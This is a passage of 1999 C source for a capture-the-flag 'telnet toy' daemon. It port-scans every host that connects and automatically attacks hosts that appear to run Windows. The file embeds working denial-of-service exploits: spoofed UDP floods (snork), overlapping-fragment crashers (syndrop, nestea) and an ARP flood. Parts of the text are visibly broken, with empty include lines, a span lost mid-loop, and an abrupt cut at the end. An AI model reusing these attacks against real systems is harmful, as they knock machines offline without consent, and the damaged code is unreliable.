/* multithreaded telnet toy first seen on palante's DefCon 7 CTF server "...the frustration machine..." --Unnamed ghettohacker Copyright 1999 palante (except wrapper routines derived from UNP, DoS attack code that used to be really fun against windoze servers, and fd forwarder stripped out of a redirector. Sorry not all that's not well documented in the actual code, but you know how shipping deadlines affect documentation...) This really wasn't more than a cute part of the server (the real fun actually started once everyone had a shell on the box) but I remembered that I hadn't done anything with the code since defcon, so I thought I might as well release it. Besides, one of the crew said he'd had a nightmare checking his email, except everything was all wierd because it was the CTF server... So maybe you'll be able to sleep better at night, knowing it's just C. This daemon attaches to the telnet port and waits for a full connect. On a client's first connect it calls nmapmain() which is not included but was a hacked up nmap main function which only did stealth scans and returned a linked list of ports. If that fails, it does a connect scan. (I was using a kernel mod to break FIN/NULL/XMAS scans, meaning connect scans were more likely to occur) If no well known ports are open, the client is told they must have well known ports open to play. If the box is thought to be a windoze box (didn't have time to hack in queso) it's attacked with a couple of denial of service attacks I threw in. A guy at my own table with a newly installed linux box was taken down by this. =) Once a box has been through this, it's added to a database, and the connection is forwarded back to one of the box's own ports. Future connects pick a target at random to connect to. As you can see, not much more than a toy. The Accept() code had to be patched during the game because some DoS attacks were causing accept errors (hardly knew accept errors were possible) that crashed the daemon. I'm sure there are still problems, but it sends lots of stuff to the screen to see what's going on. The rest of the server was a lot more interesting, There was an autoresponder which emailed back a clue to get a passwd file out of the tftp server. That eventually led to an online brute force attack to get "Kevin Mitnick's" account password. Then escape the adventure shell, and finally decode the source code for an exploit and use it to overflow a program's buffer. Congratulations to both Ghettohackers and Ghandi who managed to get elevated privs. Oh, and the system root was an iso9660. It survived two power outages. Note to those using BSD stacks:sorry if there's something that's not portable Not responsible for your use of this code... "naq n fcrpvny terrg tbrf gb gur p*a perj" -- old swedish saying */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* need LOG_ERR */ #include #define MAXLINE 255 #define PROTOCOL SOCK_STREAM #define PORTNUM 23 #define LISTENQ 5 #ifndef in_port_t #define in_port_t unsigned short int #endif #ifndef in_addr_t #define in_addr_t unsigned int #endif pthread_mutex_t threadlock = PTHREAD_MUTEX_INITIALIZER; int allowpublicnet = 0; int connectonly = 0; static void err_doit(int,int,const char*, va_list); void err_sys(const char* fmt,...); int Socket(int family, int type, int protocol) { int n; if ((n = socket(family,type,protocol)) <0) err_sys("socket error"); return n; } void Close(int fd) { if (close(fd) == EBADF) err_sys("close"); } int Connect(int sockfd, struct sockaddr_in *serv_addr, int addrlen) { /* returns result of connect except warns of some fatal errors */ int n; if ((n = connect(sockfd, (struct sockaddr *) serv_addr, addrlen)) <0) { switch (errno) { case EBADF: case EFAULT: case ENOTSOCK: case EISCONN: case EADDRINUSE: err_sys("fatal connect error"); default: break; } } return (n); } int Bind(int sockfd, struct sockaddr_in* my_addr, int addrlen) { int n; if ((n = bind(sockfd, (struct sockaddr *) my_addr, addrlen)) <0) err_sys("bind error"); return n; } void Listen(int fd, int backlog) { char* ptr; if ((ptr = getenv("LISTENQ")) != NULL) backlog = atoi(ptr); if (listen(fd,backlog) < 0) err_sys("listen error"); } int Accept(int s, void* addr, int *addrlen) { int n; int count = 0; while ((n = accept(s, (struct sockaddr *) addr, addrlen)) <0) { /* at DEFCON7 found some attacks that cause accept errors */ count++; if (count > 25) err_sys("too many accept errors"); } return n; } void Getpeername(int s, void* name, int namelen) { /* get peer name, check error code, and throw away size */ int n; n = namelen; if (getpeername(s,(struct sockaddr *) name, &n) <0) err_sys("getpeername"); } void Getsockname(int s, void* name, int namelen) { /* get sock name, check error code, and throw away size */ int n; n = namelen; if (getsockname(s,(struct sockaddr *) name, &n) <0) err_sys("getsockname"); } ssize_t readn(int fd, void* vptr, size_t n) { ssize_t nleft; ssize_t nread; char* ptr; ptr = vptr; nleft = n; while (nleft > 0) { if ((nread = read(fd,ptr,nleft)) < 0) { if (errno == EINTR) nread = 0; else return (-1); } else if (nread == 0) break; nleft -= nread; ptr += nread; } return (n-nleft); } ssize_t writen(int fd, void* vptr, size_t n) { ssize_t nleft; ssize_t nwritten; const char* ptr; ptr = vptr; nleft = n; while (nleft > 0) { if ((nwritten = write(fd,ptr,nleft)) <= 0) { if (errno == EINTR) nwritten = 0; else return (-1); } nleft -= nwritten; ptr += nwritten; } return (n); } void err_sys(const char* fmt,...) { va_list ap; va_start(ap,fmt); err_doit(1,LOG_ERR,fmt,ap); va_end(ap); va_end(ap); exit(1); } static void err_doit(int errnoflag, int level, const char* fmt, va_list ap) { int errno_save, n; char buf[MAXLINE]; errno_save = errno; #ifdef HAVE_VSNPRINTF vsnprintf(buf,sizeof(buf),fmt,ap; #else vsprintf(buf,fmt,ap); #endif n=strlen(buf); if (errnoflag) snprintf(buf+n,sizeof(buf)-n, ": %s", strerror(errno_save)); strcat (buf, "\n"); fflush(stdout); fputs(buf,stderr); fflush(stderr); return; } void Pthread_create(pthread_t * thread, pthread_attr_t * attr, void * (*func)(void *), void * arg) { int n; if ((n=pthread_create(thread, attr, func, arg)) == 0) return; errno = n; err_sys("pthread_create error"); } void Pthread_detach(pthread_t th) { int n; if ((n=pthread_detach(th)) == 0) return; errno = n; err_sys("pthread_detach error"); } /* Pthread_mutex_lock(&ndone_mutex); */ void Pthread_mutex_lock(pthread_mutex_t* mptr) { int n; if ((n=pthread_mutex_lock(mptr)) == 0) return; errno = n; err_sys("pthread_mutex_lock error"); } /* Pthread_mutex_unlock(&ndone_mutex); */ void Pthread_mutex_unlock(pthread_mutex_t* mptr) { int n; if ((n=pthread_mutex_unlock(mptr)) == 0) return; errno = n; err_sys("pthread_mutex_unlock error"); } void* Malloc(size_t size) { void* n; if ((n=malloc(size)) == NULL) err_sys("malloc error"); return n; } void syncfd(int insock) { fd_set iofds; fd_set c_iofds; int max_fd; /* Maximum numbered fd used */ struct timeval timeout; unsigned long bytes; unsigned long bytes_in = 0; unsigned long bytes_out = 0; unsigned int start_time, end_time; char buf[4096]; /* Record start time */ start_time = (unsigned int) time(NULL); /* Set up timeout */ timeout.tv_sec = 0; timeout.tv_usec = 500; /* file descriptor bits */ FD_ZERO(&iofds); FD_SET(insock, &iofds); (void) memcpy(&c_iofds, &iofds, sizeof(iofds)); /* if (select(insock + 1, &c_iofds, (fd_set *)0, (fd_set *)0, &timeout) <= 0) { break; } */ if(FD_ISSET(insock, &c_iofds)) { bytes = read(insock, buf, sizeof(buf)); } } void copyloop(int insock, int outsock, int timeout_secs) { fd_set iofds; fd_set c_iofds; int max_fd; /* Maximum numbered fd used */ struct timeval timeout; unsigned long bytes; unsigned long bytes_in = 0; unsigned long bytes_out = 0; unsigned int start_time, end_time; char buf[4096]; /* Record start time */ start_time = (unsigned int) time(NULL); /* Set up timeout */ timeout.tv_sec = timeout_secs; timeout.tv_usec = 0; /* file descriptor bits */ FD_ZERO(&iofds); FD_SET(insock, &iofds); FD_SET(outsock, &iofds); if (insock > outsock) { max_fd = insock; } else { max_fd = outsock; } /* debug1("Entering copyloop() - timeout is %d\n", timeout_secs); */ while(1) { (void) memcpy(&c_iofds, &iofds, sizeof(iofds)); if (select(max_fd + 1, &c_iofds, (fd_set *)0, (fd_set *)0, (timeout_secs ? &timeout : NULL)) <= 0) { break; } if(FD_ISSET(insock, &c_iofds)) { if((bytes = read(insock, buf, sizeof(buf))) <= 0) break; if(write(outsock, buf, bytes) != bytes) break; bytes_out += bytes; } if(FD_ISSET(outsock, &c_iofds)) { if((bytes = read(outsock, buf, sizeof(buf))) <= 0) break; if(write(insock, buf, bytes) != bytes) break; bytes_in += bytes; } } /* debug("Leaving main copyloop\n"); */ /* setsockopt(insock, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof(reuse_addr)); setsockopt(insock, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(SO_LINGER)); setsockopt(outsock, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof(reuse_addr)); setsockopt(outsock, SOL_SOCKET, SO_LINGER, &linger_opt, sizeof(SO_LINGER)); */ shutdown(insock,0); shutdown(outsock,0); Close(insock); Close(outsock); end_time = (unsigned int) time(NULL); /* debug1("copyloop - transfer in: %8ld bytes\n", bytes_in); debug1("copyloop - transfer out: %8ld bytes\n", bytes_out); */ return; } #include #define FIX(n) htons(n) void send_arp(struct link_int *l, u_char * device, u_long ip_dst) { u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; int n; u_char *buf; buf = (u_char *) Malloc(ARP_H + ETH_H); memset(buf, 0, ARP_H + ETH_H); build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf); build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src, (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H); n = write_link_layer(l, device, buf, ARP_H + ETH_H); } void winarp(in_addr_t host) { pthread_mutex_t arplock = PTHREAD_MUTEX_INITIALIZER; #define IPOPT_SECURITY 130 int count = 50; char errbuf[256]; #define device "eth0" struct link_int *l; Pthread_mutex_lock(&arplock); if ((l = open_link_interface(device, errbuf)) == NULL) { fprintf(stderr, "open_link_interface: %s\n", errbuf); return; } for ( ; count >= 0; count--) send_arp(l, device, host); Pthread_mutex_unlock(&arplock); } void snork(in_addr_t host) { /* * $Id: snork.c,v 1.1 1998/09/29 05:20:15 root Exp root $ * * snork.c - Windows NT UDP killer * * Written as per the ISS X force advisory. * * Building: * * This compiles under: OpenBSD, FreeBSD, Linux, Solaris and possibly othe rs. * (Solaris port remains broken until libnet gets fixed for solaris checks ums). * You need libnet to compile this exploit. It's all very simple: * 1) get the library from http://www.infonexus.com/~daemon9/Libnet * 2) build the library. * 3) install the library. * 4) compile this exploit. * * Usage: * * ./snork target * Spoofs packets from target to target. * * ./snork source target * Spoofs packets from source to target. * * route|daemon9 * */ #include #include #define SENDAMT 100 #define SPORT 135 #define DPORT 135 int sock, c, i, payload_s; u_char *buf, *payload; u_long ip_src, ip_dst; ip_dst = ip_src = host; payload = "sorry about your rpc port. oh shouts to bind and cripto"; payload_s = strlen(payload); buf = Malloc(UDP_H + IP_H + payload_s); /* * Don't use raw sockets. They suck. */ sock = open_raw_sock(IPPROTO_RAW); if (sock == -1) err_sys("snork raw socket"); /* * We will randomize the ip_id for good measure. I've seen crappy NIDS * code that looks for exploits like this by fixing in on static header * fields. */ seed_prand(); for (i = 0; i < SENDAMT; i++) { /* * Build the IP header. */ build_ip(UDP_H + payload_s, /* total payload size */ 0, /* TOS */ get_prand(PRu16), /* IP ID */ 0, /* fragmentation bits */ 64, /* IP TTL */ IPPROTO_UDP, /* transport protocol */ ip_src, /* source IP */ ip_dst, /* destination IP */ NULL, /* payload pointer */ 0, /* payload size */ buf); /* packet header memory */ /* * Build the UDP header. */ build_udp(SPORT, DPORT, payload, payload_s, buf + IP_H); /* * UDP checksum (IP check is done by mr kernel, as always). */ do_checksum(buf, IPPROTO_UDP, UDP_H + payload_s); /* * Write the packet to the network. */ c = write_ip(sock, buf, UDP_H + IP_H + payload_s); if (c < UDP_H + IP_H + payload_s) { fprintf(stderr, "write_ip: only wrote %d bytes\n", c); } } free(buf); return; } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void syndrop_send_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt, u_long seq1, u_long seq2) { #include #include #include #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define TCPH sizeof(struct tcphdr) /* TCP header */ #define SYNDROP_PADDING 0x14 /* datagram frame padding for first packet */ /* JD Change pad size to 20 decimal. */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *) Malloc (IPH + UDPH + SYNDROP_PADDING); p_ptr = packet; bzero ((u_char *) p_ptr, IPH + UDPH + SYNDROP_PADDING); /* Set it all to zero */ byte = 0x45; /* IP version and header length */ memcpy (p_ptr, &byte, sizeof (u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *) p_ptr) = FIX (IPH + UDPH + SYNDROP_PADDING); /* total length */ p_ptr += 2; *((u_short *) p_ptr) = htons (242); /* IP id */ p_ptr += 2; *((u_short *) p_ptr) |= FIX (IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *) p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_TCP; memcpy (p_ptr + 1, &byte, sizeof (u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *) p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *) p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *) p_ptr) = src_prt; /* TCP source port */ p_ptr += 2; *((u_short *) p_ptr) = dst_prt; /* TCP destination port */ p_ptr += 2; *((u_long *) p_ptr) = seq1; /* TCP sequence # */ p_ptr += 4; *((u_long *) p_ptr) = 0; /* ack */ p_ptr += 4; *((u_short *) p_ptr) = htons (8 + SYNDROP_PADDING * 2); /* TCP data offset */ /* Increases TCP total length to 48 bytes Which is too big! */ p_ptr += 2; *((u_char *) p_ptr) = 0x02; /* TH_SYN; flags: mark SYN */ p_ptr += 1; *((u_short *) p_ptr) = seq2 - seq1; /* window */ *((u_short *) p_ptr) = 0x44; /* checksum : this is magic value for NT, W95. dissasemble M$ C++ to see why, if you have time */ *((u_short *) p_ptr) = 0; /* urgent */ if (sendto (sock, packet, IPH + TCPH + SYNDROP_PADDING, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1) { perror ("\nsendto"); free (packet); exit (1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *) p_ptr) = FIX (IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *) p_ptr) = FIX (MAGIC); p_ptr = &packet[24]; /* hop in to the sequence again... */ *((u_long *) p_ptr) = seq2; /* TCP sequence # */ if (sendto (sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) == -1) { perror ("\nsendto"); free (packet); exit (1); } free (packet); } void syndrop(in_addr_t host, in_port_t port) { /* syndrop.c * by PineKoan * stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time! * tcp instead of udp * * based on: Newtear.c * which was: Copyright (c) 1997 route|daemon9 11.3.97 * Linux/NT/95 Overlap frag bug exploit * which was: Based off of: flip.c by klepto * */ int one = 1, count = 13, i, rip_sock; u_long s_start = 0, s_end = 0; rip_sock = Socket (AF_INET, SOCK_RAW, IPPROTO_RAW); if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one)) < 0) { perror ("IP_HDRINCL"); exit (1); } for (i = 0; i < count; i++) { syndrop_send_frags (rip_sock, host, host, port, port, s_start, s_end); usleep (500); } return; } void nestea_send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { #define MAGIC2 108 #define NESTEA_PADDING 256 /* datagram frame padding for first packet */ #include #include #include int i; u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; packet = (u_char *)Malloc(IPH + UDPH + NESTEA_PADDING+40); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + NESTEA_PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + NESTEA_PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + NESTEA_PADDING+40); byte = 0x4F; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + NESTEA_PADDING+40); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 44; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + NESTEA_PADDING); /* UDP total length */ for(i=0;inext != NULL) && (p->IP != inaddr)) p = p->next; if (p->IP == inaddr) { Pthread_mutex_unlock(&threadlock); return 1; } Pthread_mutex_unlock(&threadlock); return 0; } struct porttype* connectscanner(in_addr_t inaddr) { int sd; unsigned short int i; struct sockaddr_in target; unsigned int portlist[18] = {7,9,13,15,17,19,22,23,25,70,79,80,98,110,143,6667,31337,139}; /* port 139 will be at head of list */ struct porttype* p = NULL, *head = NULL; target.sin_family=AF_INET; target.sin_addr.s_addr=inaddr; for (i=0;i<18;i++) { target.sin_port = htons(portlist[i]); sd = Socket (AF_INET,SOCK_STREAM,0); if (!Connect(sd,&target,sizeof(target))) { p = Malloc(sizeof(p)); p->port = target.sin_port; if (head == NULL) { head = p; head->next = NULL; } else { p->next = head; head = p; } } Close(sd); } return head; } int dbadd(in_addr_t inaddr, int connfd) /* returns -1 if the host is rejected, 0 if ok */ { struct hosttype* p; struct hosttype j; struct porttype* scanlist; /* stores results of port scan */ struct porttype* q; /* used to delete list */ in_port_t openport = 0; char buf[MAXLINE]; char* target; target = (char*) inet_ntop(AF_INET, &inaddr, buf, sizeof(buf)-1); /* now do a port scan */ if (!connectonly) { /* try a stealth scan first */ scanlist = (struct porttype*) nmapmain(target,1); if (scanlist == NULL) { printf("connect scanning %X\n",ntohl(inaddr)); scanlist = connectscanner(inaddr); } } else scanlist = connectscanner(inaddr); if (scanlist != NULL) /* if any ports are open */ { printf("new host %X with port %d open\n",ntohl(inaddr),ntohs(scanlist->port)); /* now do a fingerprint queso code belongs here */ if (scanlist->port == htons(139)) /* if it's windows, launch denial of service */ { openport = scanlist->port; attackhostport(inaddr, openport); /* redo the portscan to see if they're still there */ /* first free up the linked list */ q = scanlist->next; while (q != NULL) { scanlist->next = q->next; free(q); q = scanlist->next; } free(scanlist); scanlist = NULL; /* now scan */ scanlist = connectscanner(inaddr); if (scanlist == NULL) { /* hmmm, nothing there anymore */ printf("host disappeared! ;)\n"); Close(connfd); return -1; } } /* end denial of service against winbloze */ /* erase port 139, it's not much fun */ if (scanlist->port == htons(139)) { q = scanlist->next; free(scanlist); scanlist = q; /* was that the only port? */ if (scanlist == NULL) { writen(connfd,"You must have well known TCP ports open to play.\n",49); sleep(1); Close(connfd); return -1; /* not allowed to continue */ } } p = Malloc(sizeof(j)); p->IP = inaddr; p->portlist = NULL; Pthread_mutex_lock(&threadlock); p->next = head; /* make p the new head */ head = p; /* now put in a port listing */ p->portlist = scanlist; Pthread_mutex_unlock(&threadlock); } else { writen(connfd,"You must have well known TCP ports open to play.\n",49); sleep(1); Close(connfd); /* launch attacks anyway */ attackhost(inaddr); return -1; /* not allowed to continue */ } return 0; /* everything's ok */ } void dbdeletehost(in_addr_t inaddr) { struct hosttype* p; struct hosttype* q; Pthread_mutex_lock(&threadlock); p = head; if (p==NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("attempt to delete on null list\n"); return; } if (p->IP == inaddr) { /* first on the list */ head = p->next; Pthread_mutex_unlock(&threadlock); free(p); return; } if (p->next == NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("attempt to delete nonexistant entry\n"); return; } q = p->next; while (q->IP != inaddr) { p = p->next; /* advance p */ if (p->next == NULL) { Pthread_mutex_unlock(&threadlock); /* no place for q to go */ /* some other thread must have won */ printf("end of list\n"); return; } q = p->next; /* advance q */ } /* q is now the one to delete */ /* check its ports first */ if (q->portlist != NULL) printf("failure to delete portlist\n"); p->next = q->next; Pthread_mutex_unlock(&threadlock); free(q); return; } void dbdeleteport(struct sockaddr_in* addr) { struct hosttype* p; struct porttype* q; struct porttype* r; Pthread_mutex_lock(&threadlock); p = head; if (p==NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("attempt to delete on null list\n"); return; } while (p->IP != addr->sin_addr.s_addr) { p = p->next; /* advance p */ if (p == NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("end of port list\n"); return; } } /* found the host */ q = p->portlist; /* now look for the port */ if (q->port == addr->sin_port) { /* first one */ p->portlist = q->next; Pthread_mutex_unlock(&threadlock); free(q); /* if it was the only one, delete this whole entry! */ /* if we call dbdeletehost directly, we have to unlock first and that might let some other thread try and access a host entry with no ports */ if (p->portlist == NULL) dbdeletehost(addr->sin_addr.s_addr); return; } /* keep locking - first make sure theres more to look through */ if (q->next == NULL) { Pthread_mutex_unlock(&threadlock); printf("attempt to delete nonexistant port entry\n"); return; } /* start looking */ r = q->next; while (r->port != addr->sin_port) { q = q->next; /* advance q */ if (q->next == NULL) { Pthread_mutex_unlock(&threadlock); /* no place for r to go */ printf("end of port list\n"); return; } r = q->next; /* advance r */ } /* r is now the one to delete */ q->next = r->next; Pthread_mutex_unlock(&threadlock); free(r); return; } int dbchoosehost(in_addr_t* inaddr) { /* fetches an IP from the database */ /* returns -1 on failure */ /* "failure" may be just thread issues - if that happens just tell the client they're lucky and need to try again */ struct hosttype* p; int n; /* how many hosts are there to choose from 0-based */ int m; /* which host should we pick 0-based */ /* printf("dbchoosehost\n"); */ Pthread_mutex_lock(&threadlock); p = head; n = 0; if (p==NULL) { Pthread_mutex_unlock(&threadlock); return -1; } while (p->next != NULL) { n++; p = p->next; } /* now pick a host */ m = (unsigned int) rand(); m = m % (n+1); /* reality check */ if (m>n) { Pthread_mutex_unlock(&threadlock); printf("random IPnum error\n"); return -1; } n = 0; /* look for m now */ p = head; while (n < m) { n++; p = p->next; } *inaddr = p->IP; /* this is the lucky host */ if (p->portlist == NULL) /* verify there's at least one port open */ { Pthread_mutex_unlock(&threadlock); /* other threads will have to take their chances right here */ dbdeletehost(p->IP); /* first delete entry */ /* next pick new IP with recursion*/ if (dbchoosehost(inaddr) < 0) return -1; } else Pthread_mutex_unlock(&threadlock); /* printf ("picked host: %X\n",ntohl(*inaddr)); */ return 0; } int dbchooseport(struct sockaddr_in* addr) /* returns -1 on failure, 0 otherwise except 1 if port 23 */ /* "failure" may be thread conficts */ { struct hosttype* p; struct porttype* q; int n; /* how many ports are there to choose from 0-based */ int m; /* which port should we pick 0-based */ /* printf("dbchooseport\n"); */ Pthread_mutex_lock(&threadlock); p = head; if (p==NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("attempt to lookup on null list\n"); return -1; } while (p->IP != addr->sin_addr.s_addr) { p = p->next; /* advance p */ if (p == NULL) { /* some other thread must have won */ Pthread_mutex_unlock(&threadlock); printf("end of list\n"); return -1; } } /* first take a count of ports */ q = p->portlist; if (q==NULL) { /* yikes, some other thread must be in the middle of deletion or just plain forgot something */ Pthread_mutex_unlock(&threadlock); printf ("no ports available!"); return -1; } n = 0; while (q->next != NULL) { n++; q = q->next; } /* now pick a port */ m = (unsigned int) rand(); m = m % (n+1); /* reality check */ if (m>n) { Pthread_mutex_unlock(&threadlock); printf("random portnum error\n"); return -1; } /* now traverse to that port */ n = 0; /* now find m */ q = p->portlist; while (n < m) { n++; q = q->next; } addr->sin_port = q->port; Pthread_mutex_unlock(&threadlock); printf ("picked port %d on host %X\n",ntohs(addr->sin_port), ntohl(addr->sin_addr.s_addr)); if (ntohs(addr->sin_port) == 23) return 1; return 0; } int dbchoose(int* outfd, struct sockaddr_in* addr) /* returns -1 on failure. Otherwise returns 0 and a live fd */ /* except returns 1 instead of 0 if fd is to port 23 */ { struct sockaddr_in j; int telnetport; /* printf("dbchoose\n"); */ *outfd = Socket(AF_INET, PROTOCOL, 0); bzero(addr,sizeof(j)); addr->sin_family = AF_INET; if (dbchoosehost(&addr->sin_addr.s_addr) <0) /* get an IP */ return -1; /* nobody left */ while ((telnetport = dbchooseport(addr)) < 0) { /* thread problem. But no need to abort, just grab a new IP and try again */ if (dbchoosehost(&addr->sin_addr.s_addr) <0) return -1; } /* we've picked a port, now make sure it's alive before passing it back */ while (Connect(*outfd, addr, sizeof(j)) != 0) { /* don't forget to close socket descriptor */ Close(*outfd); /* nope. Delete it */ dbdeleteport(addr); /* and pick a new one */ *outfd = Socket(AF_INET, PROTOCOL, 0); bzero(addr,sizeof(j)); addr->sin_family = AF_INET; if (dbchoosehost(&addr->sin_addr.s_addr) <0) /* get an IP */ return -1; /* nobody left */ while ((telnetport = dbchooseport(addr)) < 0) { /* thread problem. But no need to abort, just grab a new IP and try again */ if (dbchoosehost(&addr->sin_addr.s_addr) <0) return -1; } } if (telnetport) return 1; return 0; } static void* processconn(void* arg) { struct sockaddr_in victimaddr, serveraddr,/* check who's on each end of fd */ outaddr; /* for outgoing connection */ int returnvictim; /* boolean - is this a brand-new machine connecting */ int nobodyoutthere; /* boolean - there's nobody to connect to */ int outfd; int connfd; int telnetport; char buf[128]; connfd = *((int*) arg); free(arg); Pthread_detach(pthread_self()); bzero(&victimaddr,sizeof(victimaddr)); Getpeername(connfd,&victimaddr,sizeof(serveraddr)); /* printf ("peername %X\n", ntohl(victimaddr.sin_addr.s_addr)); */ bzero(&serveraddr,sizeof(serveraddr)); Getsockname(connfd,&serveraddr,sizeof(serveraddr)); /* printf ("sockname %X\n", ntohl(serveraddr.sin_addr.s_addr)); */ if (victimaddr.sin_addr.s_addr == serveraddr.sin_addr.s_addr) { /* localhost - hang up on connection */ writen(connfd,"Service Unavailable\n",20); Close(connfd); return(NULL); } if (!allowpublicnet) { if (!((victimaddr.sin_addr.s_addr > htonl(0x0A000000) && /* 10.x.x.x */ (victimaddr.sin_addr.s_addr < htonl(0x0AFFFFFF))) || ((victimaddr.sin_addr.s_addr > htonl(0xC0A80000) && (victimaddr.sin_addr.s_addr < htonl(0xC0A8FFFF)))))) { /* came in from the internet */ printf ("came from internet"); writen(connfd,"Service Unavailable\n",20); Close(connfd); return(NULL); } } returnvictim = dbknown(victimaddr.sin_addr.s_addr); /* have they been here */ if (!returnvictim) /* nope, put them in db */ { if (dbadd(victimaddr.sin_addr.s_addr,connfd) != 0) return (NULL); } if (writen(connfd,"Palante's choice:\n",18) < 0) { printf("error saying hello\n"); Close(connfd); return(NULL); } if (!returnvictim) { /* boring the first time - try to connect them to one of their own ports */ outfd = Socket(AF_INET, PROTOCOL, 0); bzero(&outaddr,sizeof(outaddr)); outaddr.sin_family = AF_INET; outaddr.sin_addr = victimaddr.sin_addr; /* back at ya */ /* pick a port */ telnetport = dbchooseport(&outaddr); if 